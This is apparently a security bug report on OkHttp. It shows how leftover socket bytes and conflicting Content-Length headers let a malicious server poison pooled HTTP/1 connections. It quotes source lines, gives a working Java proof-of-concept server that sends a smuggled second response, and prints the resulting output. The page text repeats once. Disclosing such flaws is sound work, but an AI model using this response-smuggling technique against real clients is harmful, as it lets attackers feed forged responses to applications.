OkHttp returns an HTTP/1 connection to the pool as soon as the declared Content-Length has been consumed, without checking if there are still any remaining unread bytes on the socket. Those bytes can contain a complete second response, which is then returned as the response to the next request using that connection.
FixedLengthSource.read calls responseBodyComplete() as soon as bytesRemaining reaches zero:
|
throw e |
|
} |
|
|
|
bytesRemaining -= read |
|
if (bytesRemaining == 0L) { |
|
responseBodyComplete(trailers = Headers.EMPTY) |
|
} |
There doesn't seem to be any check for data left on the socket before the connection is pooled.RealConnection.isHealthy does have some check, but it only runs after the connection has been idle for some time:
|
if (idleDurationNs >= IDLE_CONNECTION_HEALTHY_NS && doExtensiveChecks) { |
|
return javaNetSocket.isHealthy(socket.source) |
|
} |
So back to back requests skip it the check.
OkHttp also accepts conflicting Content-Length headers, as headersContentLength() takes headers["Content-Length"] and parses it:
|
|
|
/** Returns the Content-Length as reported by the response headers. */ |
|
internal fun Response.headersContentLength(): Long = headers["Content-Length"]?.toLongOrDefault(-1L) ?: -1L |
|
|
Since Headers.get returns the last value when there's multiple, two different lengths are resolved instead of rejected, depsite RFC 9112#6.3 saying it should be treated as an error (https://www.rfc-editor.org/rfc/rfc9112.html#section-6.3)
Demonstrating this in practise, we set up a server which server accepts one connection and sends both responses at once. Due to the bug, it never sends a response to the second request:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.concurrent.atomic.AtomicInteger;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
public class Poc38 {
static final AtomicInteger connections = new AtomicInteger();
public static void main(String[] args) throws Exception {
boolean duplicate = args.length == 0 || args[0].equals("duplicate");
String responseHeaders = duplicate
? "HTTP/1.1 200 OK\r\nContent-Length: 0\r\nContent-Length: 5\r\n\r\n"
: "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\n";
String wire = responseHeaders
+ "first"
+ "HTTP/1.1 200 OK\r\nContent-Length: 17\r\n\r\nSMUGGLED RESPONSE";
ServerSocket server = new ServerSocket(0, 50, InetAddress.getByName("127.0.0.1"));
new Thread(() -> {
try {
Socket s = server.accept();
connections.incrementAndGet();
drainRequest(s.getInputStream());
s.getOutputStream().write(wire.getBytes(StandardCharsets.US_ASCII));
s.getOutputStream().flush();
Thread.sleep(60_000);
} catch (Exception ignored) {
}
}).start();
String base = "http://127.0.0.1:" + server.getLocalPort();
OkHttpClient client = new OkHttpClient();
System.out.println("mode: " + (duplicate
? "two Content-Length headers (0 and 5)"
: "one Content-Length (5) plus trailing bytes"));
try (Response r = client.newCall(new Request.Builder().url(base + "/one").build()).execute()) {
System.out.println("GET /one -> " + r.code() + " body=" + r.body().string());
}
try (Response r = client.newCall(new Request.Builder().url(base + "/two").build()).execute()) {
System.out.println("GET /two -> " + r.code() + " body=" + r.body().string());
}
System.out.println("TCP connections accepted by server: " + connections.get());
System.exit(0);
}
static void drainRequest(InputStream in) throws IOException {
BufferedReader r = new BufferedReader(new InputStreamReader(in, StandardCharsets.US_ASCII));
String line;
while ((line = r.readLine()) != null && !line.isEmpty()) {
}
}
}
This results in:
mode: two Content-Length headers (0 and 5)
GET /one -> 200 body=first
GET /two -> 200 body=SMUGGLED RESPONSE
TCP connections accepted by server: 1
mode: one Content-Length (5) plus trailing bytes
GET /one -> 200 body=first
GET /two -> 200 body=SMUGGLED RESPONSE
TCP connections accepted by server: 1
The second mode, which has just one normal Content-Length, shows that any bytes after the declared body length can poison the contention in the same way: since the GET /two is answered using the bytes the server sent for get /ONE, and the connection count shows that both requests used the same socket.
This relies on a shared OkHttpClient, which based on a quick google and stackoverflow threads, it seems to be a completely reasonable thing to do (e.g. https://stackoverflow.com/questions/48532860/is-it-thread-safe-to-make-calls-to-okhttpclient-in-parallel).
OkHttpreturns an HTTP/1 connection to the pool as soon as the declared Content-Length has been consumed, without checking if there are still any remaining unread bytes on the socket. Those bytes can contain a complete second response, which is then returned as the response to the next request using that connection.FixedLengthSource.readcallsresponseBodyComplete()as soon asbytesRemainingreaches zero:okhttp/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/http1/Http1ExchangeCodec.kt
Lines 450 to 456 in b830f03
There doesn't seem to be any check for data left on the socket before the connection is pooled.RealConnection.isHealthy does have some check, but it only runs after the connection has been idle for some time:
okhttp/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/connection/RealConnection.kt
Lines 321 to 323 in b830f03
So back to back requests skip it the check.
OkHttp also accepts conflicting Content-Length headers, as
headersContentLength()takesheaders["Content-Length"]and parses it:okhttp/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/-UtilJvm.kt
Lines 243 to 246 in b830f03
Since
Headers.getreturns the last value when there's multiple, two different lengths are resolved instead of rejected, depsite RFC 9112#6.3 saying it should be treated as an error (https://www.rfc-editor.org/rfc/rfc9112.html#section-6.3)Demonstrating this in practise, we set up a server which server accepts one connection and sends both responses at once. Due to the bug, it never sends a response to the second request:
This results in:
The second mode, which has just one normal Content-Length, shows that any bytes after the declared body length can poison the contention in the same way: since the GET /two is answered using the bytes the server sent for get /ONE, and the connection count shows that both requests used the same socket.
This relies on a shared
OkHttpClient, which based on a quick google and stackoverflow threads, it seems to be a completely reasonable thing to do (e.g. https://stackoverflow.com/questions/48532860/is-it-thread-safe-to-make-calls-to-okhttpclient-in-parallel).